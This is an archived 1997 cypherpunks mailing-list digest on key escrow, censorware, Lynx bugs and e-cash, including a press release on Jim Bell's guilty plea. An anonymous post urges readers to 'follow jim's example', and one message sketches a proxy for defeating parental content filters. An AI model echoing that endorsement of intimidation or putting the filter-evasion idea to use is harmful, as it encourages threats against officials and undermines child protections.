                     how to keep kids from accessing pornography
                     online. 

                     "We have committed to a) finding a system or
                     systems for rating sites, and b) after finding that
                     system, allowing our users to voluntarily rate
                     themselves," said Jerry Yang, co-founder of
                     Yahoo.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 19 Jul 1997 06:51:09 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <Pine.GSO.3.96.970718144724.22939H-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> 
> On Thu, 17 Jul 1997, William H. Geiger III wrote:
> 
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
> 
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

Get the new version of Lynx. (2.7?)  It does a better job of handling
frames.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 19 Jul 1997 14:16:16 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
Message-ID: <v03110705aff564f7cc98@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:33 pm -0400 on 7/18/97, Tim May wrote:

<an excellent description of the industrial strength software bloat which
now afflicts the browser market>

"The Geodesic Network, OpendDoc, and CyberDog"
http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
<ducking> geodesic </d> software. It ended up in a much(!) shorter form as
a full-page opinion piece in InfoWorld two years ago this October.
Actually, it's about what happened to me at MacWorld almost exactly two
years ago.

Anyway, OpenDoc is now dead, probably because it wasn't geodesic enough, I
think. After all, it called itself a compound document archichitecture, and
people have figured out by now that software won't be about documents at
all.

OpenDoc, as implemented, layered too much onto an increasingly bloated
MacOS. It was awfully slow and required many twidgits and tweaks to make it
all go, and there wasn't enough stuff there when you were finished to want
to use it all. It became the bloatware it was trying to replace.

There will be sucessors to OpenDoc, but I also agree with Dave W(h)iner
that Java is probably more brand name than anything else. Like Chauncey
Gardner, Java is what we project onto it.

But, sooner or later, probably when we figure out how to make bits of code
handle money in somekind of micromoney ecology, with bits of cash as
software and processor 'food', we'll have geodesic software. Software which
scales and upgrades itself to the processor it's using, and which is
infinitely configurable and extremely efficient in its use of computation
resources. Software which gets smaller in order to solve smaller specific
problems instead of getting larger in never-ending cycles of feature-creep.
Software which auctions its services to the highest bidder, and which when
outcompeted by a rival, dies, just like any form of life.

As far as hardware goes, the world will not be populated with the kind of
top-down network-as-mainframe network computer of Larry Ellison's wet
dreams. Microprocessor prices will continue to collapse at least for the
next 10 years, and computers will trend toward ubiquity, moving into
practically every artifact of civilization, and all those computers will
talk to each other on a ubiquitous global internet.

The software those computers use will not be hard-wired, it will be
flexible and upgradable. It will be 'out of control'. It will be geodesic,
like the network itself.

Cheers,
Bob Hettinga







-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Koro <ksahin@best.com>
Date: Sat, 19 Jul 1997 08:06:04 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <33CFE7B6.4883@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty wrote:
> 
> Joe Shea (via Declan McCullagh) writes:
> 
> >       Declan, what would you think if the actual keepers of the keys,
> > so to speak, were the courts, such as the Administratoive Office of the
> > US Courts?  That would at least seem to reduce a lot of the possible
> > privacy concerns.  One has the sense that once they get into the hands of
> > the varius agencies, they'll get back out.
> 
> Why do I feel like we are going around and around in circles?
> 
> How about we give copies of our house-keys to the courts?  We should
> also send them our old backup tapes, just in case they need them, too.

It doesn't matter who holds the keys, the problems involved are
essentially the same.  Such powers are always abused.  

Getting back to the courts, don't tell me you (joe) are intending to
give our keys to the same courts who sign wiretap orders on a whim are
you?  The courts haven't proven themselves any more trust worthy than
other branches of government.  Furthermore, it is very difficult to take
such powers out of the hands of the courts. How will you fight something
like this, take it to court? 

> --
> #!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
> $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
> lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Hey! it's the RSA export-A-sig.  I can recognize it anywhere...
-- 
					KORO
"In view of the present world situation," said the parlor philosopher,
"the best thing that can happen to a man is not to be born at all in the
first place. But I doubt that even one man in a hundred thousand is that
lucky."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 06:55:38 +0800
To: Lizard <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v03102818aff599461e84@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>amusing no one has asked the Congressional defenders of key escrow, point
>blank, "What safeguards do you have against keys falling into the hands of
>the next Ames?" Who watches the watchmen?

Why not go one step further and get the strong crypto supporters in the
Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
and our most secret security agencies to use the very same
government/industry escrow entitites (but not any of the intelligence
organizations themselves) for all their encrypted data storage and
communications traffic and requiring regular GOA compliance reviews.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Sat, 19 Jul 1997 05:09:52 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: MN CP meeting?
Message-ID: <Pine.SOL.3.95.970718153117.6738A-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



Anyone up for a Minnesota CP get-together anytime this summer?
 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 19 Jul 1997 07:24:26 +0800
To: cypherpunks@Algebra.COM
Subject: Something of Interest (fwd)
Message-ID: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I recieved this today via e-mail.  I find it strange since I have never
asked to be put on any sort of "interest list" by anyone at the IRS.  (And
my Cypherpunks mail shows up at a different address.

Did anyone else get this?

alano@teleport.com | "Those who are without history are doomed to retype it."

---------- Forwarded message ----------
Return-Path: irsnwpr@net.insp.irs.gov
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19658
  (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:00 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Sat, 19 Jul 1997 03:48:48 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Brookings Inst. on crypto: "There are reasonable compromises"
In-Reply-To: <Pine.GSO.3.95.970718092025.13136L-100000@well.com>
Message-ID: <199707181959.PAA27626@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh forwards:

[ "There are reasonable compromises" ]

> no. 21
> Deciphering the Cryptography Debate
> 
> July 1997
> By Kenneth Flamm

In what way is this a compromise?  This is just the standard LEA
position.  Oh, I see.  Those who disagree with this position are the
ones expected to "compromise".

There's no room for compromise anyway.  They want access to our keys,
we don't want them to have access.  Either they succeed or we do.
There's no middle ground.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: techint@wavefront.com (Technical Intelligence-MN-USA)
Date: Sat, 19 Jul 1997 06:13:22 +0800
To: rhayden@orion.means.net (Robert Hayden-0797-EMP-HSE)
Subject: Re: MN CP meeting?
In-Reply-To: <Pine.SOL.3.95.970718153117.6738A-100000@orion.means.net>
Message-ID: <199707182133.QAA19120@ns.wavefront.com>
MIME-Version: 1.0
Content-Type: text



no idea, but 2600 meets at the megamall, right?

Please mail ed@twin-cities.com in the future, rather
than the winternet address.

Thanks!

>Anyone up for a Minnesota CP get-together anytime this summer?
> 
>=-=-=-=-=-=
>Robert Hayden					rhayden@means.net
>IP Network Administrator			(612) 230-4416
>MEANS Telcom
>
>

Edward Bertsch            ed@twin-cities.com
Technical Intelligence    http://www.twin-cities.com
PO 11145                  tel +1 612 225 0954
Saint Paul, MN 55111 USA  fax +1 612 222 2353





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Sat, 19 Jul 1997 05:39:39 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <ocrlo34ozgm.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Joe Shea (via Declan McCullagh) writes:

> 	Declan, what would you think if the actual keepers of the keys, 
> so to speak, were the courts, such as the Administratoive Office of the 
> US Courts?  That would at least seem to reduce a lot of the possible
> privacy concerns.  One has the sense that once they get into the hands of 
> the varius agencies, they'll get back out.

Why do I feel like we are going around and around in circles?

How about we give copies of our house-keys to the courts?  We should
also send them our old backup tapes, just in case they need them, too.

-- 
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@xemacs.org>
Date: Sat, 19 Jul 1997 08:55:45 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <m2yb73di77.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan  <alano@teleport.com> writes:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.

> Did anyone else get this?

I did, to an address I haven't used in months.  They confiscated all
his equipment perhaps they made the list from addresses they found
there ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 19 Jul 1997 06:21:40 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <3.0.3.32.19970718172701.00969de0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm really surprised to see this entire discussion resurface, especially 
without any apparent memory of the past 5 years that have hashed this topic 
over.

The real issue, IMHO, is given in my 
http://www.clark.net/pub/cme/html/avss.html

Hitting closer to home for those of us who design crypto:

Our job is to permit Alice to communicate to Bob (or Alice at a later time) 
without Eve getting anything from that communication.

			+---+
			| E |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

			
The gov't wants us to achieve that goal but permit Dorothy the detective, D, to 
have access:


			+---+
			| D |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

Those two diagrams are identical except for labeling.  How can we tell E from 
D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon?  The LA 
Intelligence unit?  ....?

Meanwhile, the system to allow D but not E is hugely more complex than the 
system which prohibits both D and E.  And, as I argue elsewhere, 
<http://www.clark.net/pub/cme/html/ukgak/>, good strong non-GAK crypto in the 
hands of criminals should help law enforcement in their surveillance effort -- 
because:

1)	it encourages criminals to talk about their crimes with other criminals
2)	some percentage of those "other criminals" will be plants, informers or 
turned,
	thus giving law enforcement an intelligence boon
3)	traffic analysis of these criminal conversations is not inhibited

 - Carl

At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
>From: Joe Shea <joeshea@netcom.com>
>To: Declan McCullagh <declan@well.com>
>Cc: fight-censorship-announce@vorlon.mit.edu
>Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
>
>
>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea@netcom.com
>http://www.newshare.com:9999
>
>
>
>

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 19 Jul 1997 09:40:58 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707190110.SAA28931@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



I think we should all follow jim's example.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 19 Jul 1997 09:24:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <19970719011440.27657.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Alan <alano@teleport.com> writes:

 > I recieved this today via e-mail.  I find it strange since
 > I have never asked to be put on any sort of "interest list"
 > by anyone at the IRS.  (And my Cypherpunks mail shows up at
 > a different address.

 > Did anyone else get this?

Not I.

 > The affidavits indicated that in January, 1997 the
 > "Multnomah County Common Law Court" held a "trial" of IRS
 > and other Government officials.

Is it illegal to hold a mock trial of political figures?  I
should think it would be considered protected First Ammendment
speech.

 > In the plea agreement, ...

He really should have gone to trial on this.  He wouldn't have
won, but he could have cost the bastards the maximum amount of
time and money possible, thus limiting the number of
citizen-units that could be harrassed in such a manner using
available IRS resources.

 > BELL faces a maximum sentence of three years in prison and
 > a $250,000 fine for the obstruction charge, and five years
 > and a $250,000 fine for using a phony social security
 > number.

Obviously the jackbooted thugs have a very high opinion of what
their time is worth.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Jul 1997 11:29:13 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way   to go
In-Reply-To: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970718182120.006f575c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>For those outside of Metricom's coverage areas, NovaTel Wireless
>http://www.novatelwireless.com is introducing a CDPD modem specifically
>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas

On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
while CDPD is generally some pennies per KB, which may be more or less
expensive than circuit-switched modem connections over cellular voice
depending on your usage patterns.  But it's widely available.

There are also services like ARDIS and RadioMail, and PCMCIA pager cards
offer some interesting options for sending encrypted messages to PDAs
even if it's just one-way.

Hand-helds are gradually adopting infrared ports, and I gather they're
even gradually standardizing on what kind.  My Psion is the earlier model
that uses wires for communication, as are some (all?) Pilots, but a 
friend who has the newer Psion3C connects its RS232 to a Metricom,
and uses Infrared to talk to his laser printer.  Back when Newtons were
the only PDA in town, two of them could talk IR to each other, and
there were some Cypherpunks discussions about how this would be nice
for ecash applications.  (The Psion also has audio input and output,
and there's a program that lets two Psions transfer data by growling
at each other, probably at 300bps.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 09:46:48 +0800
To: cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <19970718182345.30146@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 02:48:15PM -0700, Alan wrote:
> 
> Get the new version of Lynx. (2.7?)  It does a better job of handling
> frames.

You should get it anyway, because of serious security related bug:

                    Computer Incident Advisory Capability
                           ___  __ __    _     ___
                          /       |     /_\   /
                          \___  __|__  /   \  \___
             __________________________________________________________
 
                             INFORMATION BULLETIN
 
               Lynx Temporary Files & LYDownload.c Vulnerabilities
 
July 16, 1997 16:00 GMT                                            
Number H-82
______________________________________________________________________________
PROBLEM:       Two vulnerabilities exist for Lynx: 1) temporary 
files, and
               2) LYDownload.c.
PLATFORM:      All Unix or Unix-like systems running Lynx up to and including
               version 2.7.1
DAMAGE:        1) May allow local users to gain root privileges.
               2) This vulnerability may be exploited by anyone who 
can provide
                  Lynx a carefully crafted URL.
SOLUTION:      Apply patches or workarounds listed below.

[...]  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Jul 1997 11:25:50 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
Message-ID: <3.0.2.32.19970718183128.006f575c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:58 AM 7/17/97 +0000, Paul Bradley wrote:
>To kill the bandwidth problem, maybe someone could write a local HTML 
>anti-PICS proxy, so, one would load up the web browser, point it at 
>http://localhost which would bring up a simple page with a box for the 
>URL to retrieve, the local proxy would then use HTTP to get the page, 
>strip of all existing PICS tags, insert new "no sex, no violence etc..." 
>tags, and forward the page on to the browser.

It's an obvious extension to CookieCutter.  It won't get you around
PICS systems that are configured to block unrated pages, or around
censorware systems that filter out naughty words, but it's still easy.

>However, I find it unlikely many censorous parents would have the 
>foresight to ensure the kids login couldn`t install other s/w such as an 
>old browser which doesn`t support PICS and would display the pages 
>anyway, so it looks like the whole discussion may lead nowhere, apart 
>from maybe the advantage of the new browsers other features being 
>preserved in the proxy route.

On the other hand, I predict censorware implementations that require
a specific proxy system (or prevents you from changing proxies),
you can't just point to your own decensoring proxy, and you can't
get to systems blocked by proxy.singapore.gov or imprimis.vatican.org
or be.nice.net or whomever your parent or in-loco-parentis is using.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sat, 19 Jul 1997 07:20:48 +0800
To: "Declan McCullagh" <cypherpunks@toad.com>
Subject: Re: Keepers of the keys
Message-ID: <199707182231.SAA16735@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713715.multipart/signed"

--Boundary..3971.1071713715.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit




> Declan, what would you think if the actual keepers of the keys,
>so to speak, were the courts, such as the Administrative Office of the
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands
of
>the varius agencies, they'll get back out.

It has no real effect. The problem is that corporations have very
good reason to expect governments to abuse key escrow. The
Nixon administration showed that the President of the US was
capable of ordering the burglary of his opponents offices. Since
the President appoints the Supreme court this is a pretty direct
demonstration that nobody can be trusted.

The concerns for foreign corporations are even greater. France
openly boasts about its commercial espionage. It also murders
its political opponents by planting bombs on civilian ships. Any
foreign corporation operating in that company must expect a
concerted effort to disclose its trade secrets to its French
competitors.

People in the security industry are paid to be paranoid, to reduce
risk to the lowest possible. If your security model does not trust the
CEO of the company concerned absolutely why should minor
officials of the US government be trusted?

    Phill





--Boundary..3971.1071713715.multipart/signed
Content-Type: application/octet-stream; name="bin00001.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00001.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARADRzp2v498O7td8YzDsHCquvT
1Wm8VZVvNB/m7+un+PgYWywpQKGMOBBc5/+o/HT95n8mOrHn2sWl/5yqphM3
+g==
--Boundary..3971.1071713715.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesf@mail.utexas.edu>
Date: Sat, 19 Jul 1997 02:52:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: mondex
Message-ID: <1342895971-8715296@mail.binarycompass.com>
MIME-Version: 1.0
Content-Type: text/plain



On 7/18/97 3:26 AM, Ryan Lackey said:

>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?  Would this be analagous to the
>problem of replacing InterNIC with other NICs -- you need to make the
>user servers know to look at the rival systems and understand their 
>keys?

As I understand it, Mondex is a completely closed system. Everything that 
you don't absolutely need to know is undocumented. Since you can settle 
offline, the potential for fraud is frightening; unless I'm getting the 
benefit of these, um, weaknesses in the system, I don't want there to be 
any. The lack of privacy seems to be somewhat of a smokescreen; since you 
can settle offline, they don't have a really accurate way of tracking 
transactions except at the interface between e$ and other forms of money 
or goods (like their POS terminals and ATMs).

Can you hack Mondex? They say you can't...

Wesley Felter - wesley@binarycompass.com - Binary Compass Enterprises
In BizRate we trust - <http://www.bizrate.com/>
Disclaimer: My employer knows I'm crazy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 19 Jul 1997 08:20:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <Pine.SOL.3.96.970718185007.2373C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



anyone know what the lowest he can get is, under the sentencing
guidelines, now that we know the max?
MacN

On Fri, 18 Jul 1997, Alan wrote:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?
> 
> alano@teleport.com | "Those who are without history are doomed to retype it."
> 
> ---------- Forwarded message ----------
> Return-Path: irsnwpr@net.insp.irs.gov
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
> Received: by tcs_gateway1.treas.gov id AA19658
>   (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Date: Thu, 17 Jul 1997 12:29:08 -0400
> From: IRS Inspection <irsnwpr@net.insp.irs.gov>
> Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
> To: Interested-Parties@net.insp.irs.gov
> Subject: Something of Interest
> 
> 
> 
> 					United States Attorney
> 					Western District of Washington
> 
> FOR IMMEDIATE RELEASE
> July 18, 1997
> 
> JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
> SECURITY NUMBERS
> 
